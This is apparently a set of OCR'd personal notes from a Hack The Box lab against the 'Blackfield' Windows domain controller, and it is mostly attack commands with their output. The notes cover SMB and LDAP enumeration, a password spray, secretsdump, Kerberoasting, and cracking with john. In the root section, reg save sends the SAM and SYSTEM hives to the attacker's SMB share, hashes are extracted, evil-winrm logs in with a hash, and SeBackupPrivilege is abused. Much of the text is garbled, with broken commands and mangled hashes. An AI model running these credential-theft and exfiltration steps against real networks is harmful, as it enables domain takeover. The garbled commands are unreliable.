Attempts

FOOTHOLD

& ldapsearch b DC=BLACKFIELD,DC=LOCAL h Blackfield.htb
started
redentials

LdapErr: DSID , comment: AcceptSecurityContext error, data 52e, v4563

- ldapsearch -x -b DC=BLACKFIELD,DC=LOCAL -h
extended LDIF

Blackfield.htb -p 3268
LDAPvV3

base <DC=BLACKFIELD,DC=LOCAL> with
filter: (objectclass=*)
requesting: ALl

scope subtree

# search result

search: 2

result: 1 Operations error

text: 000004DC: LdapErr: DSID-0CO90AS59,

comment: In order to perform this
tion a8 successful bind must be

opera
completed on the connection.,,

data 0, v4563

£ numResponses: 1

# cat BF RY LDAP | grep -v error
11404

es |xargs 1 bash eche . : ldapsearch ht D DC«BLACKFIELD,DC«LOCA
} 2»51 ) tee -a BF USERNA LD S USER®
D80OB4DC: LdapEr:e 3
004D : Ldag
D040 LaapErr

meent In order
, Comsent I

comment: In order

- # rpcclient -N box
Bad SMB2 signature for message

(0600) OO0 00 0O 00 06 0O 00 00 00 00 OO 60 00 OO0 00 00
[0600] 61 CD CD 86 71 34 AA DF AA 1C 25 B9 FB BA A7 CA
Cannot connect to server. Error was NT STATUS ACCESS DENIED

rpcclient $> enumprinters
result was WERR INVALID NAME
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# secretsdump.py BLACKFIELD.LOCAL/support:$(cat pass)@blackfield.htb

Impacket v0.9.21 - Copyright 2020 SecureAuth Corporatio

] RemoteOperations failed: DCERPC Runtime Error: code: x5 - rpc s access denied
] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)

] Using the DRSUAPI method to get NTDS.DIT secrets

] Could not connect: timed out

] Something wen't wrong with the DRSUAPI approach. Try again with -use-vss parameter
]

Cleaning up...

rpcclient $> setuserinto yaericiLerepvre
SMB

# smbstatus --shares smbclient

Connected at Encryption Signing

- # smbmap -L -H box -p null -u null # Null Auth
[!]) Error: (<class 'impacket.smbconnection.SessionError'>, ‘smbmap', 1337)
- # smbmap -L -H box

# smbclient \\\\blackfield.htb\\ADMINS

Enter WORKGROUP\root s password:
tree connect failed: NT STATUS ACCESS DENIED

# smbclient \\\\blackfield.htb\\(C$
Enter WORKGROUP\root S password:

tree connect failed: NT STATUS ACCESS DENIED

# smbcllent \\\\blackfield.htb\\forensic

Enter WORKGROUP\root s password:

Try "help" to get a list of possible commands.
smb: \> 1s

NT STATUS ACCESS DENIED listing \*

smb: \> [§

# smbclient \\\\blackfield.htb\\IPC$
Enter WORKGROUP\root S password:
Try "help" to get a list of possible commands.
smb: \> 1s
NT STATUS INVALID INFO CLASS listing \*

# smbclient \\\\blackfield.htb\\NETLOGON
Enter WORKGROUP\root S password:
Try "help” to get a list of possible commands.

smb: \> 1s
NT STATUS ACCESS DENIED listing \*




- # smbclient \\\\blackfield.htb\\SYSVOL
Enter WORKGROUP\root's password:

Try "help" to get a list of possible commands.

smb: \> 1s

NT STATUS ACCESS DENIED listing \*

# crackmapexec smb blackfield.htb -u usernames -p RY300

smb blackfield.htdb -u usernames -p usernames
Windows 10.0 Build 17763 x64 (name:DCO1) (domain:BLACKFIELD)
BLACKFIELD\AAlleni:AAlleni STATUS ACCESS DENIED
BLACKFIELD\AAlleni:ABarteski STATUS ACCESS DENIED

- # smbclient \\\\blackfield.htb\\forensic -U support $(cat pass)
Try "help® to get a list of possible commands.
smb: \> 1s
NT STATUS ACCESS DENIED listing \*
smb: \>

: # smbclient \\\\blackfield.htb\\IPCS -U support s$(cat pass)
Try "help" to get a list of possible commands.
smb: \> 1s
NT STATUS INVALID INFO CLASS listing \*
smb: \> |

# smbclient \\\\blackfield.htb\\NETLOGON -U support sS(cat pass)

Try "help"” to get a list of possible commands.
smb: \> 1s

D ® Sun Feb 23 12:13:05 2020
D ® Sun Feb 23 12:13:05 2020

7846143 blocks of size 4096, 3945224 blocks available

impacket v0.9.2

| SMB SessionError
=== B e o

: # smbexec.py BLACKFIELD.LOCAL/support:$(cat pass)@blackfield.htb
Impacket v0.9.21 Copyright 2020 SecureAuth Corporation

[-] DCERPC Runtime Error: code:

a l‘||.~ ie i
9.10.192 445 pCe) findows 16,0 Bull« 7763 x64 € (domain:BLACKFIE

).10.192 445 ol SLACKFIE k inistrator:#00°BlackKnight STATUS LOGON FAI

). 11 . 445 col SLACKFIELD\Guest :200°BlackKnight STATUS LOGON FAILURE

). 1t . 845 Al LACKFIELD\krbtgt: 200 BlackXnight STATUS LOGON FAILURE
LACKFIELD\aud1t2020:200 B LackKnight STA S LOGON FAILURE
SLACKFIELD\BLACKFIELD7G4430 :200"BLackKn t STATUS LOGON
SLACKFIELD\BLACKFIELDS3 30"BlackKnight STATUS LOG
SLACKFIELD\BLACKFIELD189268: 280 BlackKnight STATUS LOGON

domain:SLACKFIELD) (signing

strator:Administrator STATUS LOGON FAILURE
strator:Guest STATUS LOGON FAILURE




ROOT

smb: \Recovery\> get ReAgentOld.xml

Port 5985 Microsoft HTTPAPI httpd 2.0 (SSDP/UPNP)
- Autorecon on HTTP

msTS auxiliary( ) > exploit

Sending UPnP SSDP probes to 10.10.10.192->10.10.10.192 (1 hosts)
No SSDP endpoints found.

Scanned 1 of 1 hosts (100% complete)

Auxiliary module execution completed

KERBEROS
- asperoast

y BLACKFIELD, LOCA

(Clieat not Townd In Kertero

{Client not found in Kerbe

t H-»L r.num ient not found in Kerbero
HH C ‘- h UuL I‘J(HIQN Lient not ‘: nd in Kerberos ¢

DID WORK WRONG GREPI (taII Instead of grep)

Korbarn

-kerberoast
: # GetUserSPNs.py BLACKFIELD.LOCAL/support:s$(cat pass)

Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

No entries found!

-mimikatz hash cracking
- # john --wordlist=$RY hash svc
detected hash type "Raw-SHAl", but the string is also recognized er "Raw-SHAl-AxCrypt"
-format=Raw-SHAl1-AxCrypt" option to force loading these as that type instead
detected hash type "Raw-SHAl", but the string is also recognized as "Raw-SHAl-Linkedin"
-format=Raw-SHAl-Linkedin" option to force loading these as that type instead
detected hash type "Raw-SHAl", but the string is also recognized as "ripemd-160"
format=ripemd- 160" option to force loading these as that type 1instead
arning: detected hash type "Raw-SHAl", but the string is also re;u; ized as "has-160"
se¢ the "--format=has-160" option to force loading these as that type instead
sing default input encoding: UTF-8
oaded 2 password hashes with no different salts (Raw-SHA1l [SHAl 128/128 AVX 4x])
arning: no OpenMP support for this hash type, consider fork=4
'q' Ctr1-C to abort, almost any other key for status
g 0:00:00:01 53.34% (ETA: 18:57:39) 0g/s 6380Kp/s 6380Kc/s 12761KC/s haehae2..haegus
arning: Only 2 candidates left, minimum 4 needed for performance.
Ppg 0:00:00:02 DONE (2020-07-09 18:57) 0g/s 6640Kp/s 6640Kc/s 13280KC/sab 123..*7iVamos!
ssion comolctod
# cat hash svc
1’2(‘1203784(16“5”1”13(’1154( beOcfdabe93d4a3’d
ve backup:463c13a9a311c3252¢c68babaddro221626a33e5c¢




- # john --wordlist=SRY lsass shal --format=RAw-shal
Using default input encoding: UTF-8

Loaded 9 password hashes with no different salts (Raw-SHA1l [SHA1l 128/128 AVX 4x]))
Warning: no OpenMP support for this hash type, consider --fork=4

Press ‘q' or Ctrl-C to abort, almost any other key for status

wWarning: Only 2 candidates left, minimum 4 needed for performance,

0g 0:00:00:02 DONE (2020-07-09 19:27) 0g/s 6431Kp/s 6431Kc/s 57887KC/sab 123..*7iVamos!
Session completed

: # john wordlist=8SRY lsass n format=NT
Using default input encoding: UTF-8

Loaded 3 password hashes with no different salts (NT [MD4 128/128 AVX 4x3])

Warning: no OpenMP support for this hash type, 1der fork=4

Press 'qQ' or Ctrl-C to abort, almost any other key

Og 0:00:00:01 DONE (2020-07-09 19:27) 0g/s 10704Kp/s 10704Kc/s 32112KC/ pepe..*7iVamos!
Session completed

14
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TfledffBcbaBebbbfcae2dd:
58d1d1dcd925 3
b624dc83a27cc29dalldobr25efea7a6
# for 1 in § - $ nt); do evil-winre
project S deprecated with no replaceme
tt= called 0 usr/1ib/ruby/gems
d ecated witl
Lib/ruby :
ad with no replac
s Lib/ruby/gems /2
pcated with no re

fusr/1ib/ruby/gems /2




ROOT

-https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-
Whoami_Priv_Show Me Your Privileges And | Will Lead You To _System.pdf

SeBackupPrivilege

=> “Allows the user to circumvent file and directory permissions to backup the system.
The privilege is selected only when the application attempts to access through the
NTFS backup application interface. Otherwise normal file and directory permissions

apply.”
=> With this privilege you can easily backup Windows registry and use third party tools

for extracting local NTLM hashes
L J e 1 BEKLM . " . my wet m.hiv
* Reg 1 EKLM\ SAM t\temyg im.naiy

C:\Users\svc backup\Documents> Reg save HKLM\SAM sam reg
The operation completed successfully,

s\svc backup\Documents> Copy-Item -Path sam \\10.10.15.128\¢

# pypykatz registry reg
Parsing SAM will not work

Parsing SECURITY will not work
Parsing SOFTWARE will not work

WARNING: pypykatz SAM hive path not supplied!

WARNING: pypykatz:SECURITY hive path not supplied!

WARNING:pypykatz:SOFTWARE hive path not supplied!
SYSTEM hive secrets

CurrentControlSet: ControlSetfol

Boot Key: 73d83e56deB8961ca9f243e1a49638393
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# evil-winrm -u Adminis 0 -1 blackfield.hth - 73083e560e8961¢ca91243212049638393
rubyforge project= 1s depr th no replacement., It will be removed on or after 20819-12-01
rge project= called from /1 sb/ruby/gemns/2.5.8/specifications/gyoku-1.3.1.genspec:1/

byforge projects« 1s depr 3 N replac It will be removed on
rge projects called from /Lib/ruby/qens/ specifications/ ing snspec:18.
rubyforge oject= s d t (L It will be re 0 2019-12-01.

on¥rubyforge project= called from /qe /specifications/l
cification¥#rubyforge project= 1s deprec: 3 r ! It will be

lﬁ‘.ll‘iyfu’n'J»‘a project= called from Jusr/l1b/ f2.5.8/specificatio

-https://pure.security/dumping-windows-credentials/
e Registry Hives

GCet a copy of the SYSTEM, SECURITY and SAM hives and download them back to your loca

system

C:\> reg.exe save hklm\sam c:\temp\sam.save
C:\> reg.exe save hklm\security c:\temp\security.save
C:\> reg.exe save hklm\system c:\temp\system.save

e Password Hashes

GCet the password hashes of the local accounts, the cached domain credentials and the LSA

secrets in a single run with

Impacket v0.9.11-dev - Copyright 2002-2013 Core Security Technologies

C:\tmp> reg.exe save hklm\system \\10.10.15.128\c\root\system.save

The operation completed successfully.

PS C:\tmp> reg.exe save hklm\sam \\10.10.15.128\c\root\sam. save
The operation completed successfully.

PS C:\tmp> reg.exe save hklm\security \\10.10.15.128\c\root\security.save
reg.exe : ERROR: Access is denied.
+ CategoryInfo : NotSpecified: (ERROR: Access is denied.:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
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- £ secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Dumping local
Administrator:500:aa

DefaultAccount:503:aad3b435051404eeaad3b435b51404ee:31d6cTefd16ae931b73c5907e0cDB9¢cO: : ¢

[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information,
[-] LSA hashes extraction failed: [Errno 2] No such file or directory: 'security.save

Exception ignored in: <function Registry. del at Ox7f974d4164646>

Traceback (most recent call last):

'whoami /priv” - Andrea Plerin

$user
$folder
$acl $folder
$aclperms
$user, , , ,
$aclrule
System.Security.AccessControl.FileSystemAccessRule $aclperms
$acl.AddAccessRule($aclrule)
Path $folder -AclObject $acl
$folder |

8/9



\Lep>
tep>

\vinp>

\lnp> Saclpe . suser, *Fu ontro ContainerInherd

\tap> Sacl | ject System.Security.AccessContro
tnp> s$acl AddAccessRule(sacirule)

np> Set-Ac Path sfTolder AclObject sacl

\tmp> get-acl Sfolder i

erShell.Core\FileSystem::C
R STEM
AUTHORITY\SYSTEM
AUTHORITY\SYSTEM Allow FullContr
BUILTIN\Administrators Allow Full(
BLACKFIELDAAdninistrator Allow F
BLACKFIELD\svc backup Allow

O:SYG:SYD:PAICA:OICI:FA;::5Y) OICI:FA;:::BAYIA:OICTE :FA:::LAY(A:QICI;:FA;;:5-1-5-2 4] 774-2175524697 -

AUsers\Administrator\desk

» ’

op> lype root, txl

Il.v-vl'-_.\""lu'_-".4'::".'1»\1'”;".rm:! i1xt 1% denlied

type root

+ Categoryl 0 tF 3 [ C:\Users\Adeinistrator\desktop\root. t:String) [Get-Content Unauthori

eption

ackupPrivilege/SeRestorePrivilege

Ihese privileges allow unrestricted read/ ~ess to every file on the system. They h

activated first though for which you can use this pe Pl

C:\tmp> Import-Module .\SeBackupPrivilegeUtils.dll

C:\tmp> Import-Module .\SeBackupPrivilegeCmdLets.dll

C:\tmp> Set-SeBackupPrivilege

C:\tmp> Copy-FileSeBackupPrivilege $folder\root.txt \\16.16.15.12
Opening input file - Access 1s denied. (Exception from HRESULT: ©x800768005 (E AC(
At line:]l char
+ Copy-FileSeBackupPrivilege $folder\roo xt \\16.16€ 128\

+ CategorylInfo : NotSpecified: (:) [Copy-FileSeBackupPrivilege], Exception

+ FullyQualifiedErrorId : System.Exception,bz.OneOEight. SeBackupPrivilege.Copy FileSeBackupPriv




